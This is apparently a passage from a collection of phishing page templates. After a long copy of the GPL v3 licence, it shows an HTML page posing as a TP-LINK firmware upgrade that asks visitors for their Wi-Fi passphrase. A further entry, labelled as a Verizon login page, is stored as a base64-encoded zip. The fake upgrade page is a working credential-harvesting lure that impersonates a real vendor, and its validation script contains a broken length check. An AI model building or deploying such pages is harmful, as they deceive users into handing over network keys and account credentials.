to use, which is precisely where it is most unacceptable. Therefore, we have\ndesigned this version of the GPL to prohibit the practice for those products. If such problems arise substantially\nin other domains, we stand ready to extend this provision to those domains in future versions\nof the GPL, as needed to protect the freedom of users.\nFinally, every program is threatened constantly by software patents. States should not allow patents to\nrestrict development and use of software on general-purpose computers, but in those that do, we wish\nto avoid the special danger that patents applied to a free program could make it effectively proprietary.\nTo prevent this, the GPL assures that patents cannot be used to render the program non-free.\nThe precise terms and conditions for copying, distribution and modification follow.\nTERMS AND CONDITIONS\n0. Definitions.\n“This License” refers to version 3 of the GNU General Public License. “Copyright” also means copyright-like\nlaws that apply to other kinds of works, such as semiconductor masks.\n“The Program” refers to any copyrightable work licensed under this License. Each licensee is addressed\nas “you”. “Licensees” and “recipients” may be individuals or organizations.\nTo “modify” a work means to copy from or adapt all or part of the work in a fashion requiring copyright\npermission, other than the making of an exact copy. The resulting work is called a “modified\nversion” of the earlier work or a work “based on” the earlier work.\nA “covered work” means either the unmodified Program or a work based on the Program.\nTo “propagate” a work means to do anything with it that, without permission, would make you directly\nor secondarily liable for infringement under applicable copyright law, except executing it on a\ncomputer or modifying a private copy. Propagation includes copying, distribution (with or without\nmodification), making available to the public, and in some countries other activities as well.\nTo “convey” a work means any kind of propagation that enables other parties to make or receive\ncopies. Mere interaction with a user through a computer network, with no transfer of a copy, is not\nconveying.\nAn interactive user interface displays “Appropriate Legal Notices” to the extent that it includes a\nconvenient and prominently visible feature that (1) displays an appropriate copyright notice, and (2)\ntells the user that there is no warranty for the work (except to the extent that warranties are provided),\nthat licensees may convey the work under this License, and how to view a copy of this License.\nIf the interface presents a list of user commands or options, such as a menu, a prominent item in the\nlist meets this criterion.\n1. Source Code.\nThe “source code” for a work means the preferred form of the work for making modifications to it.\n“Object code” means any non-source form of a work.\nA “Standard Interface” means an interface that either is an official standard defined by a recognized\nstandards body, or, in the case of interfaces specified for a particular programming language, one\nthat is widely used among developers working in that language.\nThe “System Libraries” of an executable work include anything, other than the work as a whole, that\n(a) is included in the normal form of packaging a Major Component, but which is not part of that\nMajor Component, and (b) serves only to enable use of the work with that Major Component, or to\nimplement a Standard Interface for which an implementation is available to the public in source\ncode form. A “Major Component”, in this context, means a major essential component (kernel, window\nsystem, and so on) of the specific operating system (if any) on which the executable work runs,\nor a compiler used to produce the work, or an object code interpreter used to run it.\nThe “Corresponding Source” for a work in object code form means all the source code needed to\ngenerate, install, and (for an executable work) run the object code and to modify the work, including\nscripts to control those activities. However, it does not include the work’s System Libraries, or\ngeneral-purpose tools or generally available free programs which are used unmodified in performing\nthose activities but which are not part of the work. For example, Corresponding Source includes\ninterface definition files associated with source files for the work, and the source code for shared\nlibraries and dynamically linked subprograms that the work is specifically designed to require, such\nas by intimate data communication or control flow between those subprograms and other parts of\nthe work.\nThe Corresponding Source need not include anything that users can regenerate automatically from\nother parts of the Corresponding Source.\nThe Corresponding Source for a work in source code form is that same work.\n2. Basic Permissions.\nAll rights granted under this License are granted for the term of copyright on the Program, and are\nirrevocable provided the stated conditions are met. This License explicitly affirms your unlimited\npermission to run the unmodified Program. The output from running a covered work is covered by\nthis License only if the output, given its content, constitutes a covered work. This License acknowledges\nyour rights of fair use or other equivalent, as provided by copyright law.\nYou may make, run and propagate covered works that you do not convey, without conditions so\nlong as your license otherwise remains in force. You may convey covered works to others for the\nsole purpose of having them make modifications exclusively for you, or provide you with facilities\nfor running those works, provided that you comply with the terms of this License in conveying all\nmaterial for which you do not control copyright. Those thus making or running the covered works\nfor you must do so exclusively on your behalf, under your direction and control, on terms that prohibit\nthem from making any copies of your copyrighted material outside their relationship with you.\nConveying under any other circumstances is permitted solely under the conditions stated below.\nSublicensing is not allowed; section 10 makes it unnecessary.\n3. Protecting Users’ Legal Rights From Anti-Circumvention Law.\nNo covered work shall be deemed part of an effective technological measure under any applicable\nlaw fulfilling obligations under article 11 of the WIPO copyright treaty adopted on 20 December\n1996, or similar laws prohibiting or restricting circumvention of such measures.\nWhen you convey a covered work, you waive any legal power to forbid circumvention of technological\nmeasures to the extent such circumvention is effected by exercising rights under this License\nwith respect to the covered work, and you disclaim any intention to limit operation or modification\nof the work as a means of enforcing, against the work’s users, your or third parties’ legal rights to\nforbid circumvention of technological measures.\n4. Conveying Verbatim Copies.\nYou may convey verbatim copies of the Program’s source code as you receive it, in any medium, provided\nthat you conspicuously and appropriately publish on each copy an appropriate copyright notice; keep\nintact all notices stating that this License and any non-permissive terms added in accord with section 7\napply to the code; keep intact all notices of the absence of any warranty; and give all recipients a copy of\nthis License along with the Program.\nYou may charge any price or no price for each copy that you convey, and you may offer support or warranty\nprotection for a fee.\n5. Conveying Modified Source Versions.\nYou may convey a work based on the Program, or the modifications to produce it from the Program, in\nthe form of source code under the terms of section 4, provided that you also meet all of these conditions:\na ) The work must carry prominent notices stating that you modified it, and giving a relevant\ndate.\nb ) The work must carry prominent notices stating that it is released under this License and any\nconditions added under section 7.This requirement modifies the requirement in section 4 to\n“keep intact all notices”.\nc ) You must license the entire work, as a whole, under this License to anyone who comes into\npossession of a copy. This License will therefore apply, along with any applicable section 7\nadditional terms, to the whole of the work, and all its parts, regardless of how they are packaged.\nThis License gives no permission to license the work in any other way, but it does not\ninvalidate such permission if you have separately received it.\nd ) If the work has interactive user interfaces, each must display Appropriate Legal Notices; however,\nif the Program has interactive interfaces that do not display Appropriate Legal Notices,\nyour work need not make them do so.\nA compilation of a covered work with other separate and independent works, which are not by\ntheir nature extensions of the covered work, and which are not combined with it such as to form a\nlarger program, in or on a volume of a storage or distribution medium, is called an “aggregate” if the\ncompilation and its resulting copyright are not used to limit the access or legal rights of the compilation’s\nusers beyond what the individual works permit. Inclusion of a covered work in an aggregate\ndoes not cause this License to apply to the other parts of the aggregate.\n6. Conveying Non-Source Forms.\nYou may convey a covered work in object code form under the terms of sections 4 and 5, provided that\nyou also convey the machine-readable Corresponding Source under the terms of this License, in one of\nthese ways:\na ) Convey the object code in, or embodied in, a physical product (including a physical distribution\nmedium), accompanied by the Corresponding Source fixed on a durable physical\nmedium customarily used for software interchange.\nb ) Convey the object code in, or embodied in, a physical product (including a physical distribution\nmedium), accompanied by a written offer, valid for at least three years and valid for as\nlong as you offer spare parts or customer support for that product model, to give anyone\nwho possesses the object code either (1) a copy of the Corresponding Source for all the software\nin the product that is covered by this License, on a durable physical medium customarily\nused for software interchange, for a price no more than your reasonable cost of physically\nperforming this conveying of source, or (2) access to copy the Corresponding Source from a\nnetwork server at no charge.\nc ) Convey individual copies of the object code with a copy of the written offer to provide the\nCorresponding Source. This alternative is allowed only occasionally and noncommercially,\nand only if you received the object code with such an offer, in accord with subsection 6b.\nd ) Convey the object code by offering access from a designated place (gratis or for a charge),\nand offer equivalent access to the Corresponding Source in the same way through the same\nplace at no further charge. You need not require recipients to copy the Corresponding\nSource along with the object code. If the place to copy the object code is a network server,\nthe Corresponding Source may be on a different server (operated by you or a third party)\nthat supports equivalent copying facilities, provided you maintain clear directions next to\nthe object code saying where to find the Corresponding Source. Regardless of what server\nhosts the Corresponding Source, you remain obligated to ensure that it is available for as\nlong as needed to satisfy these requirements.\ne ) Convey the object code using peer-to-peer transmission, provided you inform other peers\nwhere the object code and Corresponding Source of the work are being offered to the general\npublic at no charge under subsection 6d.\nA separable portion of the object code, whose source code is excluded from the Corresponding\nSource as a System Library, need not be included in conveying the object code work.\nA “User Product” is either (1) a “consumer product”, which means any tangible personal property\nwhich is normally used for personal, family, or household purposes, or (2) anything designed or\nsold for incorporation into a dwelling. In determining whether a product is a consumer product,\ndoubtful cases shall be resolved in favor of coverage. For a particular product received by a particular\nuser, “normally used” refers to a typical or common use of that class of product, regardless of the\nstatus of the particular user or of the way in which the particular user actually uses, or expects or is\nexpected to use, the product. A product is a consumer product regardless of whether the product\nhas substantial commercial, industrial or non-consumer uses, unless such uses represent the only\nsignificant mode of use of the product.\n“Installation Information” for a User Product means any methods, procedures, authorization keys,\nor other information required to install and execute modified versions of a covered work in that\nUser Product from a modified version of its Corresponding Source. The information must suffice to\nensure that the continued functioning of the modified object code is in no case prevented or interfered\nwith solely because modification has been made.\nIf you convey an object code work under this section in, or with, or specifically for use in, a User\nProduct, and the conveying occurs as part of a transaction in which the right of possession and use \nof the User Product is transferred to the recipient in perpetuity or for a fixed term (regardless of how\nthe transaction is characterized), the Corresponding Source conveyed under this section must be\naccompanied by the Installation Information. But this requirement does not apply if neither you nor\nany third party retains the ability to install modified object code on the User Product (for example,\nthe work has been installed in ROM).\nThe requirement to provide Installation Information does not include a requirement to continue to\nprovide support service, warranty, or updates for a work that has been modified or installed by the\nrecipient, or for the User Product in which it has been modified or installed. Access to a network\nmay be denied when the modification itself materially and adversely affects the operation of the\nnetwork or violates the rules and protocols for communication across the network.\nCorresponding Source conveyed, and Installation Information provided, in accord with this section\nmust be in a format that is publicly documented (and with an implementation available to the\npublic in source code form), and must require no special password or key for unpacking, reading or\ncopying.\n7. Additional Terms.\n“Additional permissions” are terms that supplement the terms of this License by making exceptions\nfrom one or more of its conditions. Additional permissions that are applicable to the entire Program\nshall be treated as though they were included in this License, to the extent that they are valid under\napplicable law. If additional permissions apply only to part of the Program, that part may be used\nseparately under those permissions, but the entire Program remains governed by this License without\nregard to the additional permissions.\nWhen you convey a copy of a covered work, you may at your option remove any additional permissions\nfrom that copy, or from any part of it. (Additional permissions may be written to require their\nown removal in certain cases when you modify the work.) You may place additional permissions\non material, added by you to a covered work, for which you have or can give appropriate copyright\npermission.\nNotwithstanding any other provision of this License, for material you add to a covered work, you\nmay (if authorized by the copyright holders of that material) supplement the terms of this License\nwith terms:\na ) Disclaiming warranty or limiting liability differently from the terms of sections 15 and 16 of\nthis License; or\nb ) Requiring preservation of specified reasonable legal notices or author attributions in that\nmaterial or in the Appropriate Legal Notices displayed by works containing it; or\nc ) Prohibiting misrepresentation of the origin of that material, or requiring that modified versions\nof such material be marked in reasonable ways as different from the original version; or\nd ) Limiting the use for publicity purposes of names of licensors or authors of the material; or\ne ) Declining to grant rights under trademark law for use of some trade names, trademarks, or\nservice marks; or\nf ) Requiring indemnification of licensors and authors of that material by anyone who conveys\nthe material (or modified versions of it) with contractual assumptions of liability to the recipient,\nfor any liability that these contractual assumptions directly impose on those licensors\nand authors.\nAll other non-permissive additional terms are considered “further restrictions” within the meaning\nof section 10. If the Program as you received it, or any part of it, contains a notice stating that it is\ngoverned by this License along with a term that is a further restriction, you may remove that term.\nIf a license document contains a further restriction but permits relicensing or conveying under this\nLicense, you may add to a covered work material governed by the terms of that license document,\nprovided that the further restriction does not survive such relicensing or conveying.\nIf you add terms to a covered work in accord with this section, you must place, in the relevant source\nfiles, a statement of the additional terms that apply to those files, or a notice indicating where to\nfind the applicable terms.\nAdditional terms, permissive or non-permissive, may be stated in the form of a separately written\nlicense, or stated as exceptions; the above requirements apply either way.\n8. Termination.\nYou may not propagate or modify a covered work except as expressly provided under this License.\nAny attempt otherwise to propagate or modify it is void, and will automatically terminate your\nrights under this License (including any patent licenses granted under the third paragraph of section\n11).\nHowever, if you cease all violation of this License, then your license from a particular copyright\nholder is reinstated (a) provisionally, unless and until the copyright holder explicitly and finally terminates\nyour license, and (b) permanently, if the copyright holder fails to notify you of the violation\nby some reasonable means prior to 60 days after the cessation.\nMoreover, your license from a particular copyright holder is reinstated permanently if the copyright\nholder notifies you of the violation by some reasonable means, this is the first time you have received\nnotice of violation of this License (for any work) from that copyright holder, and you cure the\nviolation prior to 30 days after your receipt of the notice.\nTermination of your rights under this section does not terminate the licenses of parties who have\nreceived copies or rights from you under this License. If your rights have been terminated and not\npermanently reinstated, you do not qualify to receive new licenses for the same material under section\n10.\n9. Acceptance Not Required for Having Copies.\nYou are not required to accept this License in order to receive or run a copy of the Program. Ancillary\npropagation of a covered work occurring solely as a consequence of using peer-to-peer transmission to\nreceive a copy likewise does not require acceptance. However, nothing other than this License grants\nyou permission to propagate or modify any covered work. These actions infringe copyright if you do not\naccept this License. Therefore, by modifying or propagating a covered work, you indicate your acceptance\nof this License to do so.\n10. Automatic Licensing of Downstream Recipients.\nEach time you convey a covered work, the recipient automatically receives a license from the original\nlicensors, to run, modify and propagate that work, subject to this License. You are not responsible\nfor enforcing compliance by third parties with this License.\nAn “entity transaction” is a transaction transferring control of an organization, or substantially all\nassets of one, or subdividing an organization, or merging organizations. If propagation of a covered\nwork results from an entity transaction, each party to that transaction who receives a copy of the\nwork also receives whatever licenses to the work the party’s predecessor in interest had or could\ngive under the previous paragraph, plus a right to possession of the Corresponding Source of the\nwork from the predecessor in interest, if the predecessor has it or can get it with reasonable efforts.\nYou may not impose any further restrictions on the exercise of the rights granted or affirmed under\nthis License. For example, you may not impose a license fee, royalty, or other charge for exercise\nof rights granted under this License, and you may not initiate litigation (including a cross-claim or\ncounterclaim in a lawsuit) alleging that any patent claim is infringed by making, using, selling, offering\nfor sale, or importing the Program or any portion of it.\n11. Patents.\nA “contributor” is a copyright holder who authorizes use under this License of the Program or a work\non which the Program is based. The work thus licensed is called the contributor’s “contributor version”.\nA contributor’s “essential patent claims” are all patent claims owned or controlled by the contributor,\nwhether already acquired or hereafter acquired, that would be infringed by some manner, permitted\nby this License, of making, using, or selling its contributor version, but do not include claims\nthat would be infringed only as a consequence of further modification of the contributor version.\nFor purposes of this definition, “control” includes the right to grant patent sublicenses in a manner\nconsistent with the requirements of this License.\nEach contributor grants you a non-exclusive, worldwide, royalty-free patent license under the contributor’s\nessential patent claims, to make, use, sell, offer for sale, import and otherwise run, modify\nand propagate the contents of its contributor version.\nIn the following three paragraphs, a “patent license” is any express agreement or commitment,\nhowever denominated, not to enforce a patent (such as an express permission to practice a patent\nor covenant not to sue for patent infringement). To “grant” such a patent license to a party means to\nmake such an agreement or commitment not to enforce a patent against the party.\nIf you convey a covered work, knowingly relying on a patent license, and the Corresponding Source\nof the work is not available for anyone to copy, free of charge and under the terms of this License,\nthrough a publicly available network server or other readily accessible means, then you must either\n(1) cause the Corresponding Source to be so available, or (2) arrange to deprive yourself of the\nbenefit of the patent license for this particular work, or (3) arrange, in a manner consistent with the\nrequirements of this License, to extend the patent license to downstream recipients. “Knowingly\nrelying” means you have actual knowledge that, but for the patent license, your conveying the covered\nwork in a country, or your recipient’s use of the covered work in a country, would infringe one\nor more identifiable patents in that country that you have reason to believe are valid.\nIf, pursuant to or in connection with a single transaction or arrangement, you convey, or propagate\nby procuring conveyance of, a covered work, and grant a patent license to some of the parties receiving\nthe covered work authorizing them to use, propagate, modify or convey a specific copy of\nthe covered work, then the patent license you grant is automatically extended to all recipients of\nthe covered work and works based on it.\nA patent license is “discriminatory” if it does not include within the scope of its coverage, prohibits\nthe exercise of, or is conditioned on the non-exercise of one or more of the rights that are specifically\ngranted under this License. You may not convey a covered work if you are a party to an arrangement\nwith a third party that is in the business of distributing software, under which you make\npayment to the third party based on the extent of your activity of conveying the work, and under\nwhich the third party grants, to any of the parties who would receive the covered work from you,\na discriminatory patent license (a) in connection with copies of the covered work conveyed by you\n(or copies made from those copies), or (b) primarily for and in connection with specific products or\ncompilations that contain the covered work, unless you entered into that arrangement, or that patent\nlicense was granted, prior to 28 March 2007.\nNothing in this License shall be construed as excluding or limiting any implied license or other defenses\nto infringement that may otherwise be available to you under applicable patent law.\n12. No Surrender of Others’ Freedom.\nIf conditions are imposed on you (whether by court order, agreement or otherwise) that contradict\nthe conditions of this License, they do not excuse you from the conditions of this License. If you\ncannot convey a covered work so as to satisfy simultaneously your obligations under this License\nand any other pertinent obligations, then as a consequence you may not convey it at all. For example,\nif you agree to terms that obligate you to collect a royalty for further conveying from those to\nwhom you convey the Program, the only way you could satisfy both those terms and this License\nwould be to refrain entirely from conveying the Program.\n13. Use with the GNU Affero General Public License.\nNotwithstanding any other provision of this License, you have permission to link or combine any \ncovered work with a work licensed under version 3 of the GNU Affero General Public License into a\nsingle combined work, and to convey the resulting work. The terms of this License will continue to\napply to the part which is the covered work, but the special requirements of the GNU Affero General\nPublic License, section 13, concerning interaction through a network will apply to the combination\nas such.\n14. Revised Versions of this License.\nThe Free Software Foundation may publish revised and/or new versions of the GNU General Public\nLicense from time to time. Such new versions will be similar in spirit to the present version, but may\ndiffer in detail to address new problems or concerns.\nEach version is given a distinguishing version number. If the Program specifies that a certain numbered\nversion of the GNU General Public License “or any later version” applies to it, you have the\noption of following the terms and conditions either of that numbered version or of any later version\npublished by the Free Software Foundation. If the Program does not specify a version number of\nthe GNU General Public License, you may choose any version ever published by the Free Software\nFoundation.\nIf the Program specifies that a proxy can decide which future versions of the GNU General Public License\ncan be used, that proxy’s public statement of acceptance of a version permanently authorizes\nyou to choose that version for the Program.\nLater license versions may give you additional or different permissions. However, no additional obligations\nare imposed on any author or copyright holder as a result of your choosing to follow a later\nversion.\n15. Disclaimer of Warranty.\nTHERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW.\nEXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES\nPROVIDE THE PROGRAM “AS IS” WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED,\nINCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS\nFOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE\nPROGRAM IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL\nNECESSARY SERVICING, REPAIR OR CORRECTION.\n16. Limitation of Liability.\nIN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING WILL ANY COPYRIGHT\nHOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS THE PROGRAM AS PERMITTED\nABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL\nOR CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING\nBUT NOT LIMITED TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES\nSUSTAINED BY YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER\nPROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY\nOF SUCH DAMAGES.\n17. Interpretation of Sections 15 and 16.\nIf the disclaimer of warranty and limitation of liability provided above cannot be given local legal effect\naccording to their terms, reviewing courts shall apply local law that most closely approximates\nan absolute waiver of all civil liability in connection with the Program, unless a warranty or assumption\nof liability accompanies a copy of the Program in return for a fee.\nEND OF TERMS AND CONDITIONS\nHow to Apply These Terms to Your New Programs\nIf you develop a new program, and you want it to be of the greatest possible use to the public, the best\nway to achieve this is to make it free software which everyone can redistribute and change under these\nterms.\nTo do so, attach the following notices to the program. It is safest to attach them to the start of each\nsource file to most effectively state the exclusion of warranty; and each file should have at least the “copyright”\nline and a pointer to where the full notice is found.\n<one line to give the program’s name and a brief idea of what it does.>\nCopyright (C) <year> <name of author>\nThis program is free software: you can redistribute it and/or modify it under the terms of the GNU General\nPublic License as published by the Free Software Foundation, either version 3 of the License, or (at your\noption) any later version.\nThis program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even\nthe implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General\nPublic License for more details.\nYou should have received a copy of the GNU General Public License along with this program. If not, see\n<http://www.gnu.org/licenses/>.\nAlso add information on how to contact you by electronic and paper mail.\nIf the program does terminal interaction, make it output a short notice like this when it starts in an interactive\nmode:\n<program> Copyright (C) <year> <name of author>\nThis program comes with ABSOLUTELY NO WARRANTY; for details type `show w’. This is free software, and\nyou are welcome to redistribute it under certain conditions; type `show c’ for details.\nThe hypothetical commands `show w’ and `show c’ should show the appropriate parts of the General\nPublic License. Of course, your program’s commands might be different; for a GUI interface, you would\nuse an “about box”.\nYou should also get your employer (if you work as a programmer) or school, if any, to sign a “copyright\ndisclaimer” for the program, if necessary. For more information on this, and how to apply and follow the\nGNU GPL, see <http://www.gnu.org/licenses/>.\nThe GNU General Public License does not permit incorporating your program into proprietary programs.\nIf your program is a subroutine library, you may consider it more useful to permit linking proprietary\napplications with the library. If this is what you want to do, use the GNU Lesser General Public License\ninstead of this License. But first, please read <http://www.gnu.org/philosophy/why-not-lgpl.html>.\n       </textarea>\n        <div class=\"checkbox\">\n          <label><input type=\"checkbox\" id=\"check-box\" onclick=\"checkBoxStatus()\">I Agree With Above Terms And Conditions</label>\n        </div>\n      </div>\n      <div class=\"form-group has-feedback\">\n          <label for=\"password\">Passphrase:</label>\n          <input class=\"form-control\" type=\"password\" id=\"pwd\" name=\"key1\">\n      </div>\n      <div class=\"container text-center\">\n        <input type=\"submit\" class=\"btn btn-primary\" id=\"btn\" value=\"Start Upgrade\">\n      </div>\n    </form>\n    <div id=\"push\"></div>\n  </div>\n  <!-- Start page content -->\n\n  <!-- Start footer -->\n  <footer class=\"footer\">\n    <div class=\"container text-center\">\n      <p class=\"text-muted\">TP-LINK©  2016, All Rights Reserved.</p>\n    </div>\n  </footer>\n  <!-- End footer -->\n\n  <!-- Start update first message -->\n  <div class=\"modal fade\" id=\"update-only\" role=\"dialog\">\n    <div class=\"modal-dialog modal-sm\">\n      <div class=\"modal-content\">\n        <div class=\"modal-header\">\n          <button type=\"button\" class=\"close\" data-dismiss=\"modal\">&times;</button>\n          <h4 class=\"modal-title\">Information</h4>\n        </div>\n        <div class=\"modal-body\">\n          <p>Please Update First.</p>\n        </div>\n        <div class=\"modal-footer\">\n          <button type=\"button\" class=\"btn btn-default\" data-dismiss=\"modal\">Close</button>\n        </div>\n      </div>\n    </div>\n  </div>\n  <!-- End update first message -->\n\n  <!-- Start empty password message -->\n  <div class=\"modal fade\" id=\"empty-pass\">\n    <div class=\"modal-dialog modal-sm\">\n      <div class=\"modal-content\">\n        <div class=\"modal-header\">\n          <button type=\"button\" class=\"close\" data-dismiss=\"modal\">&times;</button>\n          <h4 class=\"modal-title\">Information</h4>\n        </div>\n        <div class=\"modal-body\">\n          <p>Please Input Valid Password. (Must be between 7 and 64 characters)</p>\n        </div>\n        <div class=\"modal-footer\">\n          <button type=\"button\" class=\"btn btn-default\" data-dismiss=\"modal\">Close</button>\n        </div>\n      </div>\n    </div>\n  </div>\n  <!-- End empty password message -->\n\n  <!-- Start empty password message -->\n  <div class=\"modal fade\" id=\"no-checkbox\">\n    <div class=\"modal-dialog modal-sm\">\n      <div class=\"modal-content\">\n        <div class=\"modal-header\">\n          <button type=\"button\" class=\"close\" data-dismiss=\"modal\">&times;</button>\n          <h4 class=\"modal-title\">Information</h4>\n        </div>\n        <div class=\"modal-body\">\n          <p>Please Check The I Agree Button.</p>\n        </div>\n        <div class=\"modal-footer\">\n          <button type=\"button\" class=\"btn btn-default\" data-dismiss=\"modal\">Close</button>\n        </div>\n      </div>\n    </div>\n  </div>\n  <!-- End empty password message -->\n\n<script>\n\n/*\n  Check the password field and act accordingly.\n*/\n$(\"#btn\").on(\"click\", function(e) {\n\n    // get the password box and checkbox elements\n\tvar input = document.getElementById(\"pwd\");\n    var box = document.getElementById(\"check-box\");\n\n    // if the box is checked\n  \tif ( box.checked != true ){\n        \t// display no checkbox message\n\t        $(\"#no-checkbox\").modal(\"show\");\n\t\treturn false;\n      \t}\n      \tif ( input.value.lenght < 7 ||  input.value.lenght > 64){\n\t\t// display no password message\n\t\t$(\"#empty-pass\").modal(\"show\");\n\t\treturn false;\n   \t}\n\n\n});\n\n\n/*\n  Check the status of check box\n*/\nfunction checkBoxStatus()\n{\n  // get the password box and checkbox elements\n\tvar box = document.getElementById(\"check-box\");\n\tvar input = document.getElementById(\"pwd\");\n\n  // if the box is checked\n\tif ( box.checked == true )\n\t\t{\n      // enabale the password box\n\t\t\tinput.disabled = false;\n\t\t}\n\telse\n\t\t{\n      // disable the password box\n\t\t\tinput.disabled = true;\n\t\t}\n\t}\n</script>\n</body>\n</html>\n"
  },
  {
    "path": "sites/verizon/Login-Verizon.zip_base64.txt",
    "content": "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\nEQUmmmXsqMUk6BeLbDe